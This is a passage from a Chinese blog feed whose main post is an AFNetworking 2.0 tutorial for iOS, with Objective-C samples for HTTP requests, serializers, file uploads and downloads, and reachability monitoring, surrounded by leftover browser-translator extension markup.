id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421324.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-11 23:47 <a href="http://www.blogjava.net/qileilove/archive/2014/12/11/421324.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>IOS网络访问之使用AFNetworking</title><link>http://www.blogjava.net/qileilove/archive/2014/12/11/421323.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 11 Dec 2014 15:44:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/11/421323.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421323.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/11/421323.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421323.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421323.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　AFNetworking是IOS上常用的第三方网络访问库，我们可以在github上下载它，同时github上有它详细的使用说明，最新的AFNetworing2.0与1.0有很大的变化，这里仅对2.0常用的使用方法进行总结</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　基于NSURLConnection的API</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">提交GET请求</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　AFHTTPRequestOperationManager *manager = [AFHTTPRequestOperationManager manager];</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　[manager GET:@"http://example.com/resources.json" parameters:nil success:^(AFHTTPRequestOperation *operation, id responseObject) {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　NSLog(@"JSON: %@", responseObject);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　} failure:^(AFHTTPRequestOperation *operation, NSError *error) {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　NSLog(@"Error: %@", error);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　}];</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　AFResponseSerializer</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　上面代码中responseObject代表了返回的值，当网络返回json或者xml之类的数据时，它们的本质都是字符串，我们需要通过一定操作才能把字符串转成希望的对象，AFNetWorking通过设置AFHTTPRequestOperationManager对象的responseSerializer属性替我们做了这些事。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如果返回的数据时json格式，那么我们设定</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　manager.responseSerializer = [[AFJSONResponseSerializer alloc] init]，responseObject就是获得的json的根对象（NSDictionary或者NSArray）</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如果返回的是plist格式我们就用AFPropertyListResponseSerializer解析器</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如果返回的是xml格式我们就用AFXMLParserResponseSerializer解析器，responseObject代表了NSXMLParser对像</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如果返回的是图片，可以使用AFImageResponseSerializer</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如果只是希望获得返回二进制格式，那么可以使用AFHTTPResponseSerializer</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　AFRequestSerializer</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　AFHTTPRequestOperationManager还可以通过设置requestSeializer属性设置请求的格式</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　有如下的请求地址与参数</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　NSString *URLString = @"http://example.com";</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　NSDictionary *parameters = @{@"foo": @"bar", @"baz": @[@1, @2, @3]};</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　我们使用AFHTTPRequestSerializer的GET提交方式</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　[[AFHTTPRequestSerializer serializer] requestWithMethod:@"GET" URLString:URLString parameters:parameters error:nil];</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　GET http://example.com?foo=bar&amp;baz[]=1&amp;baz[]=2&amp;baz[]=3</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　我们使用AFHTTPRequestSerializer的POST提交方式</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　[[AFHTTPRequestSerializer serializer] requestWithMethod:@"POST" URLString:URLString parameters:parameters];</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　POST http://example.com/</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Content-Type: application/x-www-form-urlencoded</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　foo=bar&amp;baz[]=1&amp;baz[]=2&amp;baz[]=3</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　我们使用AFJSONRequestSerializer</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　[[AFJSONRequestSerializer serializer] requestWithMethod:@"POST" URLString:URLString parameters:parameters];</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　POST http://example.com/</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Content-Type: application/json</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　{"foo": "bar", "baz": [1,2,3]}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　默认提交请求的数据是二进制（AFHTTPRequestSerializer）的,返回格式是JSON（AFJSONResponseSerializer）<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">提交POST请求</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">AFHTTPRequestOperationManager *manager = [AFHTTPRequestOperationManager manager];</div><div style="word-break: break-all; margin: 10px 0px;">NSDictionary *parameters = @{@"foo": @"bar"};</div><div style="word-break: break-all; margin: 10px 0px;">[manager POST:@"http://example.com/resources.json" parameters:parameters success:^(AFHTTPRequestOperation *operation, id responseObject) {</div><div style="word-break: break-all; margin: 10px 0px;">NSLog(@"JSON: %@", responseObject);</div><div style="word-break: break-all; margin: 10px 0px;">} failure:^(AFHTTPRequestOperation *operation, NSError *error) {</div><div style="word-break: break-all; margin: 10px 0px;">NSLog(@"Error: %@", error);</div><div style="word-break: break-all; margin: 10px 0px;">}];</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　提交POST请求时附带文件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">AFHTTPRequestOperationManager *manager = [AFHTTPRequestOperationManager manager];</div><div style="word-break: break-all; margin: 10px 0px;">NSDictionary *parameters = @{@"foo": @"bar"};</div><div style="word-break: break-all; margin: 10px 0px;">NSURL *filePath = [NSURL fileURLWithPath:@"file://path/to/image.png"];</div><div style="word-break: break-all; margin: 10px 0px;">[manager POST:@"http://example.com/resources.json" parameters:parameters constructingBodyWithBlock:^(id&lt;AFMultipartFormData&gt; formData) {</div><div style="word-break: break-all; margin: 10px 0px;">[formData appendPartWithFileURL:filePath name:@"image" error:nil];</div><div style="word-break: break-all; margin: 10px 0px;">} success:^(AFHTTPRequestOperation *operation, id responseObject) {</div><div style="word-break: break-all; margin: 10px 0px;">NSLog(@"Success: %@", responseObject);</div><div style="word-break: break-all; margin: 10px 0px;">} failure:^(AFHTTPRequestOperation *operation, NSError *error) {</div><div style="word-break: break-all; margin: 10px 0px;">NSLog(@"Error: %@", error);</div><div style="word-break: break-all; margin: 10px 0px;">}];</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　也可以通过appendPartWithFileData上传NSData数据的文件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　AFHTTPRequestOperation</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　除了使用AFHTTPRequestOperationManager访问网络外还可以通过AFHTTPRequestOperation，AFHTTPRequestOperation继承自AFURLConnectionOperation，</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　AFURLConnectionOperation继承自NSOperation，所以可以通过AFHTTPRequestOperation定义了一个网络请求任务，然后添加到队列中执行。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">NSMutableArray *mutableOperations = [NSMutableArray array];</div><div style="word-break: break-all; margin: 10px 0px;">for (NSURL *fileURL in filesToUpload) {</div><div style="word-break: break-all; margin: 10px 0px;">NSURLRequest *request = [[AFHTTPRequestSerializer serializer] multipartFormRequestWithMethod:@"POST" URLString:@"http://example.com/upload" parameters:nil constructingBodyWithBlock:^(id&lt;AFMultipartFormData&gt; formData) {</div><div style="word-break: break-all; margin: 10px 0px;">[formData appendPartWithFileURL:fileURL name:@"images[]" error:nil];</div><div style="word-break: break-all; margin: 10px 0px;">}];</div><div style="word-break: break-all; margin: 10px 0px;">AFHTTPRequestOperation *operation = [[AFHTTPRequestOperation alloc] initWithRequest:request];</div><div style="word-break: break-all; margin: 10px 0px;">[mutableOperations addObject:operation];</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">NSArray *operations = [AFURLConnectionOperation batchOfRequestOperations:@[...] progressBlock:^(NSUInteger numberOfFinishedOperations, NSUInteger totalNumberOfOperations) {</div><div style="word-break: break-all; margin: 10px 0px;">NSLog(@"%lu of %lu complete", numberOfFinishedOperations, totalNumberOfOperations);</div><div style="word-break: break-all; margin: 10px 0px;">} completionBlock:^(NSArray *operations) {</div><div style="word-break: break-all; margin: 10px 0px;">NSLog(@"All operations in batch complete");</div><div style="word-break: break-all; margin: 10px 0px;">}];</div><div style="word-break: break-all; margin: 10px 0px;">[[NSOperationQueue mainQueue] addOperations:operations waitUntilFinished:NO];</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　批量任务处理</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">NSMutableArray *mutableOperations = [NSMutableArray array];</div><div style="word-break: break-all; margin: 10px 0px;">for (NSURL *fileURL in filesToUpload) {</div><div style="word-break: break-all; margin: 10px 0px;">NSURLRequest *request = [[AFHTTPRequestSerializer serializer] multipartFormRequestWithMethod:@"POST" URLString:@"http://example.com/upload" parameters:nil constructingBodyWithBlock:^(id&lt;AFMultipartFormData&gt; formData) {</div><div style="word-break: break-all; margin: 10px 0px;">[formData appendPartWithFileURL:fileURL name:@"images[]" error:nil];</div><div style="word-break: break-all; margin: 10px 0px;">}];</div><div style="word-break: break-all; margin: 10px 0px;">AFHTTPRequestOperation *operation = [[AFHTTPRequestOperation alloc] initWithRequest:request];</div><div style="word-break: break-all; margin: 10px 0px;">[mutableOperations addObject:operation];</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">NSArray *operations = [AFURLConnectionOperation batchOfRequestOperations:@[...] progressBlock:^(NSUInteger numberOfFinishedOperations, NSUInteger totalNumberOfOperations) {</div><div style="word-break: break-all; margin: 10px 0px;">NSLog(@"%lu of %lu complete", numberOfFinishedOperations, totalNumberOfOperations);</div><div style="word-break: break-all; margin: 10px 0px;">} completionBlock:^(NSArray *operations) {</div><div style="word-break: break-all; margin: 10px 0px;">NSLog(@"All operations in batch complete");</div><div style="word-break: break-all; margin: 10px 0px;">}];</div><div style="word-break: break-all; margin: 10px 0px;">[[NSOperationQueue mainQueue] addOperations:operations waitUntilFinished:NO];</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　上面的API是基于NSURLConnection，IOS7之后AFNetWorking还提供了基于NSURLSession的API</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">基于NSURLSession的API</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　下载任务</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">NSURLSessionConfiguration *configuration = [NSURLSessionConfiguration defaultSessionConfiguration];</div><div style="word-break: break-all; margin: 10px 0px;">AFURLSessionManager *manager = [[AFURLSessionManager alloc] initWithSessionConfiguration:configuration];</div><div style="word-break: break-all; margin: 10px 0px;">NSURL *URL = [NSURL URLWithString:@"http://example.com/download.zip"];</div><div style="word-break: break-all; margin: 10px 0px;">NSURLRequest *request = [NSURLRequest requestWithURL:URL];</div><div style="word-break: break-all; margin: 10px 0px;">NSURLSessionDownloadTask *downloadTask = [manager downloadTaskWithRequest:request progress:nil destination:^NSURL *(NSURL *targetPath, NSURLResponse *response) {</div><div style="word-break: break-all; margin: 10px 0px;">NSURL *documentsDirectoryURL = [[NSFileManager defaultManager] URLForDirectory:NSDocumentDirectory inDomain:NSUserDomainMask appropriateForURL:nil create:NO error:nil];</div><div style="word-break: break-all; margin: 10px 0px;">return [documentsDirectoryURL URLByAppendingPathComponent:[response suggestedFilename]];</div><div style="word-break: break-all; margin: 10px 0px;">} completionHandler:^(NSURLResponse *response, NSURL *filePath, NSError *error) {</div><div style="word-break: break-all; margin: 10px 0px;">NSLog(@"File downloaded to: %@", filePath);</div><div style="word-break: break-all; margin: 10px 0px;">}];</div><div style="word-break: break-all; margin: 10px 0px;">[downloadTask resume];</div></td></tr></tbody></table><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　文件上传任务</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">NSURLSessionConfiguration *configuration = [NSURLSessionConfiguration defaultSessionConfiguration];</div><div style="word-break: break-all; margin: 10px 0px;">AFURLSessionManager *manager = [[AFURLSessionManager alloc] initWithSessionConfiguration:configuration];</div><div style="word-break: break-all; margin: 10px 0px;">NSURL *URL = [NSURL URLWithString:@"http://example.com/upload"];</div><div style="word-break: break-all; margin: 10px 0px;">NSURLRequest *request = [NSURLRequest requestWithURL:URL];</div><div style="word-break: break-all; margin: 10px 0px;">NSURL *filePath = [NSURL fileURLWithPath:@"file://path/to/image.png"];</div><div style="word-break: break-all; margin: 10px 0px;">NSURLSessionUploadTask *uploadTask = [manager uploadTaskWithRequest:request fromFile:filePath progress:nil completionHandler:^(NSURLResponse *response, id responseObject, NSError *error) {</div><div style="word-break: break-all; margin: 10px 0px;">if (error) {</div><div style="word-break: break-all; margin: 10px 0px;">NSLog(@"Error: %@", error);</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">NSLog(@"Success: %@ %@", response, responseObject);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}];</div><div style="word-break: break-all; margin: 10px 0px;">[uploadTask resume];</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　带进度的文件上传</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">NSMutableURLRequest *request = [[AFHTTPRequestSerializer serializer] multipartFormRequestWithMethod:@"POST" URLString:@"http://example.com/upload" parameters:nil constructingBodyWithBlock:^(id&lt;AFMultipartFormData&gt; formData) {</div><div style="word-break: break-all; margin: 10px 0px;">[formData appendPartWithFileURL:[NSURL fileURLWithPath:@"file://path/to/image.jpg"] name:@"file" fileName:@"filename.jpg" mimeType:@"image/jpeg" error:nil];</div><div style="word-break: break-all; margin: 10px 0px;">} error:nil];</div><div style="word-break: break-all; margin: 10px 0px;">AFURLSessionManager *manager = [[AFURLSessionManager alloc] initWithSessionConfiguration:[NSURLSessionConfiguration defaultSessionConfiguration]];</div><div style="word-break: break-all; margin: 10px 0px;">NSProgress *progress = nil;</div><div style="word-break: break-all; margin: 10px 0px;">NSURLSessionUploadTask *uploadTask = [manager uploadTaskWithStreamedRequest:request progress:&amp;progress completionHandler:^(NSURLResponse *response, id responseObject, NSError *error) {</div><div style="word-break: break-all; margin: 10px 0px;">if (error) {</div><div style="word-break: break-all; margin: 10px 0px;">NSLog(@"Error: %@", error);</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">NSLog(@"%@ %@", response, responseObject);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}];</div><div style="word-break: break-all; margin: 10px 0px;">[uploadTask resume];</div><div style="word-break: break-all; margin: 10px 0px;">NSURLSessionDataTask</div><div style="word-break: break-all; margin: 10px 0px;">NSURLSessionConfiguration *configuration = [NSURLSessionConfiguration defaultSessionConfiguration];</div><div style="word-break: break-all; margin: 10px 0px;">AFURLSessionManager *manager = [[AFURLSessionManager alloc] initWithSessionConfiguration:configuration];</div><div style="word-break: break-all; margin: 10px 0px;">NSURL *URL = [NSURL URLWithString:@"http://example.com/upload"];</div><div style="word-break: break-all; margin: 10px 0px;">NSURLRequest *request = [NSURLRequest requestWithURL:URL];</div><div style="word-break: break-all; margin: 10px 0px;">NSURLSessionDataTask *dataTask = [manager dataTaskWithRequest:request completionHandler:^(NSURLResponse *response, id responseObject, NSError *error) {</div><div style="word-break: break-all; margin: 10px 0px;">if (error) {</div><div style="word-break: break-all; margin: 10px 0px;">NSLog(@"Error: %@", error);</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">NSLog(@"%@ %@", response, responseObject);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}];</div><div style="word-break: break-all; margin: 10px 0px;">[dataTask resume];</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">查看网络状态</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　苹果官方提供Reachablity用来查看网络状态，AFNetWorking也提供这方面的API</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">NSURL *baseURL = [NSURL URLWithString:@"http://example.com/"];</div><div style="word-break: break-all; margin: 10px 0px;">AFHTTPRequestOperationManager *manager = [[AFHTTPRequestOperationManager alloc] initWithBaseURL:baseURL];</div><div style="word-break: break-all; margin: 10px 0px;">NSOperationQueue *operationQueue = manager.operationQueue;</div><div style="word-break: break-all; margin: 10px 0px;">[manager.reachabilityManager setReachabilityStatusChangeBlock:^(AFNetworkReachabilityStatus status) {</div><div style="word-break: break-all; margin: 10px 0px;">switch (status) {</div><div style="word-break: break-all; margin: 10px 0px;">case AFNetworkReachabilityStatusReachableViaWWAN:</div><div style="word-break: break-all; margin: 10px 0px;">case AFNetworkReachabilityStatusReachableViaWiFi:</div><div style="word-break: break-all; margin: 10px 0px;">[operationQueue setSuspended:NO];</div><div style="word-break: break-all; margin: 10px 0px;">break;</div><div style="word-break: break-all; margin: 10px 0px;">case AFNetworkReachabilityStatusNotReachable:</div><div style="word-break: break-all; margin: 10px 0px;">default:</div><div style="word-break: break-all; margin: 10px 0px;">[operationQueue setSuspended:YES];</div><div style="word-break: break-all; margin: 10px 0px;">break;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}];</div><div style="word-break: break-all; margin: 10px 0px;">//开始监控</div><div style="word-break: break-all; margin: 10px 0px;">[manager.reachabilityManager startMonitoring];</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; width: 182px; height: 32px; display: inline-block; position: relative; background: url(http://www.51testing.com/html/wx.jpg) no-repeat;"></div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; width: 182px; height: 32px; display: inline-block; position: relative; background: url(http://www.51testing.com/html/wx.jpg) no-repeat;"></div></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin 